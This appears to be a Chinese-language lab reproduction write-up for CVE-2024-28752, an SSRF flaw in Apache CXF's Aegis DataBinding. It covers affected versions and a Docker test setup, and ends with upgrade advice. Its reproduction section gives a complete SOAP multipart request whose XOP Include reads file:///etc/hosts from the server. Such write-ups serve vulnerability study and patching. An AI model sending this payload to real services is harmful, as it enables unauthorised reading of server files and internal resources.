# Apache CXF Aegis DataBinding 服务端请求伪造漏洞 CVE-2024-28752

## 漏洞描述

Apache CXF 是一个开源的服务框架，帮助开发者使用 JAX-WS 和 JAX-RS 等前端编程 API 构建和开发服务。

Apache CXF 在 4.0.4、3.6.3 和 3.5.8 版本之前存在一个使用 Aegis DataBinding 的 SSRF 漏洞，该漏洞允许攻击者对接受至少一个任意类型参数的 Web 服务执行 SSRF 攻击。此漏洞专门影响使用 Aegis DataBinding 的服务，而使用其他数据绑定 (包括默认数据绑定) 的服务不受影响。攻击者可以利用此漏洞通过让服务器向任意 URL 发送请求来访问内部资源，这可能导致信息泄露或对内部系统的进一步攻击。

参考链接：

- http://www.openwall.com/lists/oss-security/2024/03/14/3
- https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt
- https://github.com/advisories/GHSA-qmgx-j96g-4428
- https://nvd.nist.gov/vuln/detail/CVE-2024-28752
- https://github.com/ReaJason/CVE-2024-28752

## 漏洞影响

```
Apache CXF ＜ 4.0.4
Apache CXF ＜ 3.6.3
Apache CXF ＜ 3.5.8
```

## 环境搭建

Vulhub 执行如下命令启动一个存在漏洞的 Apache CXF Web 服务，该服务使用 Aegis DataBinding：

```
docker compose up -d
```

服务启动后，存在漏洞的 CXF Web 服务将可以通过 `http://your-ip:8080/test?wsdl` 访问。该服务配置为使用 Aegis DataBinding 并接受各种参数类型，使其容易受到 SSRF 攻击。

![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818101810077.png)

## 漏洞复现

发送如下请求即可触发 SSRF 读取 `/etc/hosts` 文件内容：

```
POST /test HTTP/1.1
Host: your-ip:8080
Content-Type: multipart/related; boundary=----foo
Content-Length: 472
Connection: close

------foo
Content-Disposition: form-data; name="1"

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://service.namespace/">
   <soapenv:Header/>
   <soapenv:Body>
      <web:test>
         <arg0>
<count><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include" href="file:///etc/hosts"></xop:Include></count>
</arg0>
      </web:test>
   </soapenv:Body>
</soapenv:Envelope>
------foo--
```

![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818102909381.png)

解码：

![](images/Apache%20CXF%20Aegis%20DataBinding%20服务端请求伪造漏洞%20CVE-2024-28752/image-20250818103012099.png)

## 漏洞修复

官方已发布安全更新，建议升级至最新版本。
